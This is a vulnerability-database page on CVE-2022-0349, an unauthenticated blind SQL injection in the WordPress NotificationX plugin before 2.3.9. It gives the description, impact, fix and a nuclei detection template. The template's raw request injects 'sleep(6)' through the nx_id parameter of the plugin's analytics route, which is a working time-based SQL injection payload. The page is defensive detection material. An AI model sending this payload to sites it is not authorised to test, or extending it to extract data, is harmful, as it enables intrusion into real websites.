HexBrain

Browse / CVEs / CVE-2022-0349

CVE-2022-0349· wpdeveloper / notificationx· CWE-89

WordPress NotificationX <2.3.9 - SQL Injection

criticalseverity
9.8CVSS score
34.4%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

WordPress NotificationX plugin prior to 2.3.9 contains a SQL injection vulnerability. The plugin does not sanitize and escape the nx_id parameter before using it in a SQL statement, leading to an unauthenticated blind SQL injection. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.

Fix

Update to the latest version of the WordPress NotificationX plugin (2.3.9 or higher) to mitigate the SQL Injection vulnerability.

How to confirm it

Send: @timeout: 15s
Positive when: duration>=6 and status_code == 200 and contains(body, "\"data\":{\"success\":true}")

Run it with nuclei: nuclei -id CVE-2022-0349 -u <target>

The full check
id: CVE-2022-0349

info:
  name: WordPress NotificationX <2.3.9 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
    WordPress NotificationX plugin prior to 2.3.9 contains a SQL injection vulnerability. The plugin does not sanitize and escape the nx_id parameter before using it in a SQL statement, leading to an unauthenticated blind SQL injection. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
  remediation: |
    Update to the latest version of the WordPress NotificationX plugin (2.3.9 or higher) to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1d0dd7be-29f3-4043-a9c6-67d02746463a
    - https://wordpress.org/plugins/notificationx/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0349
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0349
    cwe-id: CWE-89
    epss-score: 0.34359
    epss-percentile: 0.98424
    cpe: cpe:2.3:a:wpdeveloper:notificationx:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpdeveloper
    product: notificationx
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,wordpress,wp-plugin,wp,sqli,notificationx,wpscan,wpdeveloper,vuln

http:
  - raw:
      - |
        @timeout: 15s
        POST /?rest_route=/notificationx/v1/analytics HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nx_id=sleep(6) -- x

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "\"data\":{\"success\":true}")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from